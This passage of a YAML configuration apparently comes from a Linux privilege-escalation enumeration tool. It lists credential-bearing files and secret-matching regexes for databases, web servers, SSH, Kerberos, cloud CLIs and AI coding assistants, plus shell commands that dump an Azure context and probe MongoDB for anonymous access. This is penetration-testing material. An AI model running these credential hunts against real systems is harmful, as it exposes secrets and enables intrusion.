common\n\n  \n  - name: PostgreSQL\n    value:\n        config:\n          auto_check: True\n          exec:\n            - 'echo \"Version: $(warn_exec psql -V 2>/dev/null)\"'\n\n        files:\n          - name: \"pgadmin*.db\"\n            value: \n                type: f\n                just_list_file: True\n                search_in: \n                  - common\n      \n          - name: \"pg_hba.conf\"\n            value: \n                bad_regex: \"auth|password|md5|user=|pass=|trust\"\n                type: f\n                remove_empty_lines: True\n                remove_regex: '\\W+\\#|^#'\n                search_in: \n                  - common\n      \n          - name: \"postgresql.conf\"\n            value: \n                bad_regex: \"auth|password|md5|user=|pass=|trust\"\n                type: f\n                remove_empty_lines: True\n                remove_regex: '\\W+\\#|^#'\n                search_in: \n                  - common\n      \n          - name: \"pgsql.conf\"\n            value: \n                bad_regex: \"auth|password|md5|user=|pass=|trust\"\n                type: f\n                remove_empty_lines: True\n                remove_regex: '\\W+\\#|^#'\n                search_in: \n                  - common\n          \n          - name: \"pgadmin4.db\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n    \n  - name: Apache-Nginx\n    value:\n        config:\n            auto_check: True\n            exec:\n            - 'echo \"Apache version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)\"'\n            - 'echo \"Nginx version: $(warn_exec nginx -v 2>/dev/null)\"'\n            - if [ -d \"/etc/apache2\" ] && [ -r \"/etc/apache2\" ]; then grep -R -B1 \"httpd-php\" /etc/apache2 2>/dev/null; fi\n            - if [ -d \"/usr/share/nginx/modules\" ] && [ -r \"/usr/share/nginx/modules\" ]; then print_3title 'Nginx modules'; ls /usr/share/nginx/modules | sed -${E} \"s,$NGINX_KNOWN_MODULES,${SED_GREEN},g\"; fi\n            - \"print_3title 'PHP exec extensions'\"\n            \n        files:\n            - name: \"sites-enabled\"\n              value: \n                type: d\n                files:\n                    - name: \"*\"\n                      value:\n                        bad_regex: \"AuthType|AuthName|AuthUserFile|ServerName|ServerAlias|command on\"\n                        remove_empty_lines: True\n                        remove_regex: '#'\n                search_in: \n                    - common\n      \n            - name: \"000-default.conf\"\n              value: \n                bad_regex: \"AuthType|AuthName|AuthUserFile|ServerName|ServerAlias\"\n                remove_regex: '#'\n                type: f\n                search_in: \n                    - common\n            \n            - name: \"php.ini\"\n              value: \n                bad_regex: \"On\"\n                remove_regex: \"^;\"\n                line_grep: \"allow_\"\n                type: f\n                search_in: \n                    - common\n            \n            - name: \"nginx.conf\"\n              value: \n                bad_regex: \"location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\\\\s+\\\\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection\"\n                remove_regex: \"#\"\n                type: f\n                remove_empty_lines: True\n                search_in: \n                    - common\n            \n            - name: \"nginx\"\n              value: \n                type: d\n                files:\n                    - name: \"*.conf\"\n                      value:\n                        bad_regex: \"location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\\\\s+\\\\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection\"\n                        remove_empty_lines: True\n                        remove_regex: '#'\n                        remove_path: \"nginx.conf\"\n                search_in: \n                    - common\n  \n  - name: Varnish\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"varnish\"\n            value:         \n              files:\n                - name: \"default.vcl\"\n                  value:\n                      just_list_file:  True\n                \n                - name: \"secret\"\n                  value:\n                      just_list_file:  True\n              type: d\n              search_in: \n                - common\n                \n  - name: PHP Sessions\n    value:\n        config:\n          auto_check: True\n          exec:\n          - \"ls /var/lib/php/sessions 2>/dev/null || echo_not_found /var/lib/php/sessions\"\n\n        files:\n          - name: \"sess_*\"\n            value: \n                check_extra_path: '/tmp/.*sess_.*|/var/tmp/.*sess_.*'\n                type: f\n                search_in: \n                  - ${ROOT_FOLDER}tmp\n                  - ${ROOT_FOLDER}var\n                  - ${ROOT_FOLDER}mnt\n                  - ${ROOT_FOLDER}private\n  \n  - name: PHP_files\n    value:\n        config:\n          auto_check: False\n    \n        files:\n          - name: \"*config*.php\"\n            value: \n                type: f\n                search_in: \n                  - common\n      \n          - name: \"database.php\"\n            value: \n                type: f\n                search_in: \n                  - common\n      \n          - name: \"db.php\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n          - name: \"storage.php\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n          - name: \"settings.php\"\n            value: \n                type: f\n                search_in: \n                  - common\n  \n  - name: Apache-Airflow\n    value:\n        config:\n          auto_check: True\n        \n        files:\n          - name: \"airflow.cfg\"\n            value: \n                bad_regex: \"access_control_allow_headers|access_control_allow_methods|access_control_allow_origins|auth_backend|backend.default|google_key_path.*|password|username|flower_basic_auth.*|result_backend.*|ssl_cacert|ssl_cert|ssl_key|fernet_key.*|tls_ca|tls_cert|tls_key|ccache|google_key_path|smtp_password.*|smtp_user.*|cookie_samesite|cookie_secure|expose_config|expose_stacktrace|secret_key|x_frame_enabled\"\n                type: f\n                remove_regex: '^#'\n                remove_empty_lines: True\n                search_in: \n                  - common\n          \n          - name: \"webserver_config.py\"\n            value: \n                type: f\n                just_list_file: True\n                search_in: \n                  - common\n                  \n  - name: X11\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".Xauthority\"\n            value: \n                type: f\n                just_list_file: True\n                search_in: \n                  - common\n                  \n  - name: Wordpress\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"wp-config.php\"\n            value: \n                bad_regex: \"PASSWORD|USER|NAME|HOST\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Drupal\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"settings.php\"\n            value: \n                bad_regex: \"drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix'\"\n                check_extra_path: \"/default/settings.php\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Moodle\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"config.php\"\n            value: \n                bad_regex: \"dbtype|dbhost|dbuser|dbhost|dbpass|dbport\"\n                check_extra_path: \"moodle/config.php\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Tomcat\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"tomcat-users.xml\"\n            value: \n                bad_regex: \"dbtype|dbhost|dbuser|dbhost|dbpass|dbport\"\n                line_grep: '\"username=|password=\"'\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Mongo\n    value:\n        config:\n          auto_check: True\n          exec:\n            - 'echo \"Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)\"'\n            - if [ \"$(command -v mongo)\" ]; then echo \"show dbs\" | mongo 127.0.0.1 > /dev/null 2>&1;[ \"$?\" == \"0\" ] && echo \"Possible mongo anonymous authentication\" | sed -${E} \"s,.*|kube,${SED_RED},\"; fi\n\n        files:\n          - name: \"mongod*.conf\"\n            value: \n              type: f\n              remove_empty_lines: True\n              remove_regex: '\\W+\\#|^#'\n              search_in: \n                - common\n  \n  - name: Rocketchat\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"rocketchat.service\"\n            value: \n                bad_regex: \"mongodb://.*\"\n                line_grep: '-i \"Environment\"'\n                type: f\n                search_in: \n                  - common\n                  - ${ROOT_FOLDER}lib\n                  - ${ROOT_FOLDER}systemd\n  \n  - name: Supervisord\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name:  \"supervisord.conf\"\n            value: \n              bad_regex: \"port.*=|username.*=|password.*=\"\n              only_bad_lines: True\n              type: f\n              search_in: \n                - common\n\n  - name: Cesi\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"cesi.conf\"\n            value: \n                bad_regex: \"username.*=|password.*=|host.*=|port.*=|database.*=\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Rsync\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"rsyncd.conf\"\n            value: \n              bad_regex: \"secrets.*|auth.*users.*=\"\n              type: f\n              remove_empty_lines: True\n              remove_regex: '\\W+\\#|^#'\n              search_in: \n                - common\n      \n          - name: \"rsyncd.secrets\"\n            value: \n              bad_regex: \".*\"\n              type: f\n              search_in: \n                - common\n  \n  - name: Rpcd\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"rpcd\"\n            value: \n              bad_regex: \"username.+|password.+\"\n              type: f\n              remove_empty_lines: True\n              remove_path: '/init.d/|/sbin/|/usr/share/'\n              search_in: \n                - common\n\n  - name: Bitcoin\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"bitcoin.conf\"\n            value: \n                bad_regex: \"user=.*|password=.*|auth=.*\"\n                remove_empty_lines: True\n                remove_regex: '^#'\n                type: f\n                search_in: \n                  - common\n  \n  - name: Hostapd\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"hostapd.conf\"\n            value: \n              bad_regex: \"passphrase.*\"\n              remove_regex: '^#'\n              remove_empty_lines: True\n              type: f\n              search_in: \n                - common\n  \n  - name: Wifi Connections\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"system-connections\"\n            value:         \n              files:\n                - name: \"*\"\n                  value:\n                      bad_regex: \"psk.*\"\n                      only_bad_lines:  True\n                      type: f\n              type: d\n              search_in: \n                - ${ROOT_FOLDER}etc\n  \n  - name: PAM Auth\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"pam.d\"\n            value:         \n              files:\n                - name: \"sshd\"\n                  value:\n                      bad_regex: \"auth|accessfile=|secret=|user\"\n                      remove_regex:  \"^#|^@\"\n                      type: f\n                - name: \"*\"\n                  value:\n                      bad_regex: \"nullok|nullok_secure|pam_permit\\\\.so|pam_rootok\\\\.so|pam_exec\\\\.so|pam_unix\\\\.so.*(nullok|remember=0)|sufficient\\\\s+pam_unix\\\\.so\"\n                      only_bad_lines: True\n                      remove_regex: \"^#|^@\"\n                      type: f\n              type: d\n              search_in: \n                - ${ROOT_FOLDER}etc\n  \n  - name: NFS Exports\n    value:\n        config:\n          auto_check: True\n          exec:\n            - 'nfsmounts=`cat /proc/mounts 2>/dev/null | grep nfs`; if [ \"$nfsmounts\" ]; then echo -e \"Connected NFS Mounts: \\n$nfsmounts\"; fi'\n\n        files:\n          - name: exports\n            value: \n                very_bad_regex: \"no_root_squash|no_all_squash\"\n                bad_regex: \"insecure|rw|nohide\"\n                remove_regex: '\\W+\\#|^#'\n                type: f\n                search_in: \n                  - ${ROOT_FOLDER}etc\n  \n  - name: GlusterFS\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"glusterfs.pem\"\n            value: \n                type: f\n                just_list_file: True\n                search_in: \n                  - common\n          \n          - name: \"glusterfs.ca\"\n            value: \n                type: f\n                just_list_file: True\n                search_in: \n                  - common\n          \n          - name: \"glusterfs.key\"\n            value: \n                type: f\n                just_list_file: True\n                search_in: \n                  - common\n  \n  \n  - name: Anaconda ks\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"anaconda-ks.cfg\"\n            value: \n                bad_regex: \"rootpw.*\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Terraform\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"*.tfstate\"\n            value: \n                bad_regex: \"secret.*\"\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"*.tf\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"credentials.tfrc.json\"\n            value: \n                type: f\n                bad_regex: \".*\"\n                search_in:\n                  - common\n                  \n\n  - name: Racoon\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"racoon.conf\"\n            value:\n                remove_empty_lines: True\n                bad_regex: \"pre_shared_key.*\"\n                remove_regex: '^#'\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"psk.txt\"\n            value:\n                remove_empty_lines: True\n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n\n  - name: Kubernetes\n    value:\n        config:\n          auto_check: True\n          exec:\n          - (env || set) | grep -Ei \"kubernetes|kube\" | grep -v \"PSTORAGE_KUBERNETES|USEFUL_SOFTWARE\" | sed -${E} \"s,kubernetes|kube,${SED_RED},\"\n\n        files:\n          - name: \"kubeconfig\"\n            value:\n                bad_regex: \"server:|cluster:|namespace:|user:|exec:\"\n            type: f\n            search_in: \n              - common\n          \n          - name: \"bootstrap-kubeconfig\"\n            value:\n                bad_regex: \"server:|cluster:|namespace:|user:|exec:\"\n            type: f\n            search_in: \n              - common\n          \n          - name: \"kubelet-kubeconfig\"\n            value:\n                bad_regex: \"server:|cluster:|namespace:|user:|exec:\"\n            type: f\n            search_in: \n              - common\n          \n          - name: \"kubelet.conf\"\n            value:\n                bad_regex: \"server:|cluster:|namespace:|user:|exec:\"\n            type: f\n            search_in: \n              - common\n            \n          - name: \"psk.txt\"\n            value:\n                remove_empty_lines: True\n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n\n          - name: \".kube*\"\n            value: \n                files:\n                  - name: \"config\"\n                    value:\n                        bad_regex: \"server:|cluster:|namespace:|user:|exec:\"\n                type: d\n                search_in: \n                  - common\n\n          - name: \"kubelet\"\n            value: \n                files:\n                  - name: \"config.yaml\"\n                    value:\n                        bad_regex: \"server:|cluster:|namespace:|user:|exec:\"\n                  - name: \"kubeadm-flags.env\"\n                    value:\n                        remove_empty_lines: True\n                type: d\n                search_in: \n                  - ${ROOT_FOLDER}var\n                  - ${ROOT_FOLDER}etc\n          \n          - name: \"kube-proxy\"\n            value: \n                type: d\n                search_in: \n                  - ${ROOT_FOLDER}var\n                  - ${ROOT_FOLDER}etc\n          \n          - name: \"kubernetes\"\n            value:\n                files:\n                  - name: \"admin.conf\"\n                    value:\n                        bad_regex: \"server:|cluster:|namespace:|user:|exec:\"\n                  \n                  - name: \"controller-manager.conf\"\n                    value:\n                        bad_regex: \"server:|cluster:|namespace:|user:|exec:\"\n                  \n                  - name: \"scheduler.conf\"\n                    value:\n                        bad_regex: \"server:|cluster:|namespace:|user:|exec:\"\n                      \n                type: d\n                search_in:\n                  - ${ROOT_FOLDER}var\n                  - ${ROOT_FOLDER}etc\n  - name: VNC\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".vnc\"\n            value: \n                files:\n                  - name: \"passwd\"\n                    value:\n                        just_list_file: True\n                type: d\n                search_in: \n                  - common\n\n          - name: \"*vnc*.c*nf*\"\n            value: \n                bad_regex: \".*\"\n                remove_regex: '^#'\n                type: f\n                search_in: \n                  - common\n\n          - name: \"*vnc*.ini\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"*vnc*.txt\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n\n          - name: \"*vnc*.xml\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                remove_path: \"/mime/\"\n                search_in: \n                  - common\n\n  - name: Ldap\n    value:\n        config:\n          auto_check: True\n          exec:\n            - echo \"The password hash is from the {SSHA} to 'structural'\"\n\n        files:\n          - name: \"ldap\"\n            value:         \n                files:\n                  - name: \"*.bdb\"\n                    value:\n                        bad_regex: \"administrator|password|ADMINISTRATOR|PASSWORD|Password|Administrator\"\n                        line_grep: '-i -a -o \"description.*\" | sort | uniq'\n                        type: f\n                type: d\n                search_in: \n                  - common\n  \n  - name: Log4Shell\n    value:\n        config:\n          auto_check: False\n    \n        files:\n          - name: \"log4j-core*.jar\"\n            value: \n                type: f\n                search_in: \n                  - common\n                  - ${ROOT_FOLDER}lib\n                  - ${ROOT_FOLDER}lib32\n                  - ${ROOT_FOLDER}lib64\n\n  - name: OpenVPN\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"*.ovpn\"\n            value: \n                bad_regex: \"auth-user-pass.+\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: SSH\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"id_dsa*\"\n            value: \n                type: f\n                search_in: \n                  - common\n      \n          - name:  \"id_rsa*\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n          - name: \"known_hosts\"\n            value: \n                type: f\n                search_in: \n                  - common\n      \n          - name: \"authorized_hosts\"\n            value: \n                type: f\n                search_in: \n                  - common\n      \n          - name: \"authorized_keys\"\n            value: \n                good_regex: 'from=[\\w\\._\\-]+'\n                bad_regex: \"command=.*\"\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"*.pub\"\n            value:\n                bad_regex: \"command=.*\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: CERTSB4\n    value:\n        config:\n          auto_check: False\n    \n        files:\n          - name: \"*.pem\"\n            value: \n                type: f\n                remove_path: '/usr/share/|/usr/local/lib/|/usr/lib.*'\n                search_in: \n                  - common\n      \n          - name: \"*.cer\"\n            value: \n                type: f\n                remove_path: '/usr/share/|/usr/local/lib/|/usr/lib.*'\n                search_in: \n                  - common\n      \n          - name: \"*.crt\"\n            value: \n                type: f\n                remove_path: '/usr/share/|/usr/local/lib/|/usr/lib.*'\n                search_in: \n                  - common\n  \n  - name: CERTSBIN\n    value:\n        config:\n          auto_check: False\n    \n        files:\n          - name: \"*.csr\"\n            value: \n                type: f\n                remove_path: '^/usr/share/|/usr/local/lib/|/usr/lib/.*'\n                search_in: \n                  - common\n      \n          - name: \"*.der\"\n            value: \n                type: f\n                remove_path: '/usr/share/|/usr/local/lib/|/usr/lib/.*'\n                search_in: \n                  - common\n  \n  - name: CERTSCLIENT\n    value:\n        config:\n          auto_check: False\n    \n        files:\n          - name: \"*.pfx\"\n            value: \n                type: f\n                remove_path: '/usr/share/|/usr/local/lib/|/usr/lib/.*'\n                search_in: \n                  - common\n      \n          - name: \"*.p12\"\n            value: \n                type: f\n                remove_path: '/usr/share/|/usr/local/lib/|/usr/lib/.*'\n                search_in: \n                  - common\n  \n  - name: SSH AGENTS\n    value:\n        config:\n          auto_check: False\n    \n        files:\n          - name: \"agent.*\"\n            value: \n                type: f\n                remove_path: \".dll\"\n                search_in: \n                  - ${ROOT_FOLDER}tmp\n                  - ${ROOT_FOLDER}run\n\n          - name: \"ssh-agent.sock\"\n            value:\n                type: f\n                search_in:\n                  - ${ROOT_FOLDER}tmp\n                  - ${ROOT_FOLDER}run\n      \n  - name: SSH_CONFIG\n    value:\n        config:\n          auto_check: False\n    \n        files:\n          - name: \"ssh*config\"\n            value: \n                type: f\n                search_in:\n                  - ${ROOT_FOLDER}usr \n                  - $HOMESEARCH\n  \n  - name: Snyk\n    value:\n        config:\n          auto_check: False\n    \n        files:\n          - name: \"snyk.json\"\n            value: \n                type: f\n                bad_regex: \".*\"\n                search_in:\n                  - common\n          \n          - name: \"snyk.config.json\"\n            value: \n                type: f\n                bad_regex: \".*\"\n                search_in:\n                  - common\n  \n  - name: Cloud Credentials\n    value:\n        config:\n          auto_check: True\n          exec:\n            - '(pwsh -Command \"Save-AzContext -Path /tmp/az-context3489ht.json\" && cat /tmp/az-context3489ht.json && rm /tmp/az-context3489ht.json) || echo_not_found \"pwsh\"'\n\n        files:\n          #- name: \"credentials\"\n          #  value: \n          #      bad_regex: \".*\"\n          #      type: f\n          #      search_in: \n          #        - common\n      \n          - name: \"credentials.db\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n      \n          - name: \"legacy_credentials.db\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"adc.json\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n          \n          - name: \".boto\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n          \n          - name: \".credentials.json\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"firebase-tools.json\"\n            value: \n                bad_regex: \"id_token.*|access_token.*|refresh_token.*\"\n                type: f\n                search_in: \n                  - common\n\n          - name: \"access_tokens.db\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n      \n          - name: \"access_tokens.json\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n\n          - name: \"accessTokens.json\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"gcloud\"\n            value: \n                files:\n                  - name: \"*\"\n                    value:\n                        bad_regex: \"b'authorization'.*\"\n                        only_bad_lines: True\n                type: d\n                search_in: \n                  - common\n          \n          - name: \"legacy_credentials\"\n            value: \n                files:\n                  - name: \"*\"\n                    value:\n                        bad_regex: \"refresh_token.*|client_secret\"\n                type: d\n                search_in: \n                  - common\n\n          - name: \"azureProfile.json\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n\n          - name: \"TokenCache.dat\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n\n          - name: \"AzureRMContext.json\"\n            value:\n                bad_regex: \"Id.*|Credential.*\"\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"clouds.config\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"service_principal_entries.json\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"msal_token_cache.json\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"msal_http_cache.bin\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"service_principal_entries.bin\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"msal_token_cache.bin\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"ErrorRecords\" #Azure logs can contain crentials\n            value: \n                type: d\n                search_in: \n                  - common\n          \n          - name: \"TokenCache.dat\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n      \n          - name: \".bluemix\"\n            value: \n                files:\n                  - name: \"config.json\"\n                    value:\n                        bad_regex: \".*\"\n                type: d\n                search_in: \n                  - common\n          \n          - name: \"doctl\"\n            value: \n                files:\n                  - name: \"config.yaml\"\n                    value:\n                        bad_regex: \"access-token.*\"\n                        only_bad_lines: True\n                type: d\n                search_in: \n                  - common\n          \n          - name: \"Google Cloud Directory Sync\"\n            value: \n                files:\n                  - name: \"*.xml\"\n                    value:\n                        bad_regex: \"oAuth2RefreshToken.*|authCredentialsEncrypted.*\"\n                type: d\n                search_in: \n                  - common\n\n          - name: \"Google Password Sync\"\n            value: \n                files:\n                  - name: \"*.xml\"\n                    value:\n                        bad_regex: \"baseDN.*|authorizeUsername.*\"\n                type: d\n                search_in: \n                  - common\n\n  - name: AI Coding Assistants\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".codex\"\n            value:\n                files:\n                  - name: \"auth.json\"\n                    value:\n                        bad_regex: \"access_token|refresh_token|id_token|OPENAI_API_KEY|api_key|auth_mode\"\n                        remove_empty_lines: True\n\n                  - name: \"config.toml\"\n                    value:\n                        bad_regex: \"OPENAI_API_KEY|api_key|auth_mode|model|profile\"\n                        remove_empty_lines: True\n                type: d\n                search_in:\n                  - common\n\n          - name: \".claude\"\n            value:\n                files:\n                  - name: \"settings.json\"\n                    value:\n                        bad_regex: \"apiKeyHelper|ANTHROPIC_API_KEY|ANTHROPIC_AUTH_TOKEN|Authorization|Bearer|token|secret|mcpServers\"\n                        remove_empty_lines: True\n\n                  - name: \"settings.local.json\"\n                    value:\n                        bad_regex: \"apiKeyHelper|ANTHROPIC_API_KEY|ANTHROPIC_AUTH_TOKEN|Authorization|Bearer|token|secret|mcpServers\"\n                        remove_empty_lines: True\n                type: d\n                search_in:\n                  - common\n\n          - name: \".claude.json\"\n            value:\n                bad_regex: \"auth|token|bearer|session|oauth|api[_-]?key\"\n                remove_empty_lines: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \".gemini\"\n            value:\n                files:\n                  - name: \"settings.json\"\n                    value:\n                        bad_regex: \"GEMINI_API_KEY|GOOGLE_API_KEY|access_token|refresh_token|oauth|client_secret|Authorization|Bearer|headers|mcpServers\"\n                        remove_empty_lines: True\n\n                  - name: \"oauth_creds.json\"\n                    value:\n                        bad_regex: \"access_token|refresh_token|id_token|token_type|scope|client_id\"\n                        remove_empty_lines: True\n                type: d\n                search_in:\n                  - common\n\n          - name: \".cursor\"\n            value:\n                files:\n                  - name: \"mcp.json\"\n                    value:\n                        bad_regex: \"Authorization|Bearer|token|api[_-]?key|secret|headers|env\"\n                        remove_empty_lines: True\n                type: d\n                search_in:\n                  - common\n\n          - name: \".mcp.json\"\n            value:\n                bad_regex: \"Authorization|Bearer|token|api[_-]?key|secret|headers|env\"\n                remove_empty_lines: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"gh\"\n            value:\n                files:\n                  - name: \"hosts.yml\"\n                    value:\n                        bad_regex: \"oauth_token|user:|oauth\"\n                        remove_empty_lines: True\n                check_extra_path: \".*/\\\\.config/gh$|.*/AppData/.*gh$|.*/Library/Application Support/gh$\"\n                type: d\n                search_in:\n                  - common\n\n          - name: \"state.vscdb\"\n            value:\n                just_list_file: True\n                check_extra_path: \".*/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$|.*/Library/Application Support/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$\"\n                type: f\n                search_in:\n                  - common\n\n          - name: \"state.vscdb.backup\"\n            value:\n                just_list_file: True\n                check_extra_path: \".*/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$|.*/Library/Application Support/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$\"\n                type: f\n                search_in:\n                  - common\n\n          - name: \"storage.json\"\n            value:\n                bad_regex: \"github\\\\.copilot|copilot|cursor|openai|anthropic|gemini|token|auth\"\n                remove_empty_lines: True\n                check_extra_path: \".*/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$|.*/Library/Application Support/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$\"\n                type: f\n                search_in:\n                  - common\n          \n  \n  - name: Road Recon\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".roadtools_auth\"\n            value: \n                bad_regex: \"accessToken.*\"\n                type: f\n                search_in: \n                  - common\n  \n  - name: FreeIPA\n    value:\n        config:\n          auto_check: True\n          exec:\n            - ipa_exists=\"$(command -v ipa)\"; if [ \"$ipa_exists\" ]; then print_info \"https://book.hacktricks.wiki/en/linux-hardening/freeipa-pentesting.html\"; fi\n        \n        files:\n          - name: \"ipa\"\n            value: \n                files:\n                  - name: \"default.conf\"\n                    value:\n                        remove_empty_lines: True\n                type: d\n                search_in: \n                  - common\n           \n          - name: \"dirsrv\"\n            value: \n                files:\n                  - name: \"id2rntry.db\"\n                    value:\n                        just_list_file: True\n                type: d\n                search_in: \n                  - common\n\n  - name: Kerberos\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: \"krb5.conf\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n          - name: \"*.keytab\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n          - name: \".k5login\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"krb5cc_*\"\n            value: \n                type: f\n                search_in: \n                  - common\n      \n          - name: \"kadm5.acl\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"secrets.ldb\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \".secrets.mkey\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"sssd.conf\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n  - name: Kibana\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"kibana.y*ml\"\n            value: \n                bad_regex: \"username|password|host|port|elasticsearch|ssl\"\n                type: f\n                remove_empty_lines: True\n                remove_regex: '\\W+\\#|^#|^[[:space:]]*$'\n                search_in: \n                  - common\n\n  - name: Grafana\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"grafana.ini\"\n            value: \n                bad_regex: \"admin.*|username.*|password:*|secret.*\"\n                type: f\n                remove_empty_lines: True\n                remove_regex: '^#|^;'\n                search_in: \n                  - common\n                 \n  - name: Knockd\n    value:\n        config:\n          auto_check: True\n    \n        files:\n          - name: \"*knockd*\"\n            value: \n                check_extra_path: \"/etc/init.d/\"\n                type: f\n                search_in: \n                  - ${ROOT_FOLDER}etc\n\n  - name: Logstash\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: \"logstash\"\n            value: \n                type: d\n                search_in: \n                  - common\n  \n  - name: Elasticsearch\n    value:\n        config:\n          auto_check: True\n          exec:\n            - echo \"The version is $(curl -X GET '127.0.0.1:9200' 2>/dev/null | grep number | cut -d ':' -f 2)\"\n\n        files:\n          - name: \"elasticsearch.y*ml\"\n            value: \n                line_grep: '\"path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts\"'\n                remove_regex: '\\W+\\#|^#'\n                type: f\n                search_in: \n                  - common\n  \n  - name: Vault_ssh_helper\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: \"vault-ssh-helper.hcl\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n  - name: Vault_ssh_token\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: \".vault-token\"\n            value: \n                type: f\n                search_in: \n                  - common\n  \n  - name: CouchDB\n    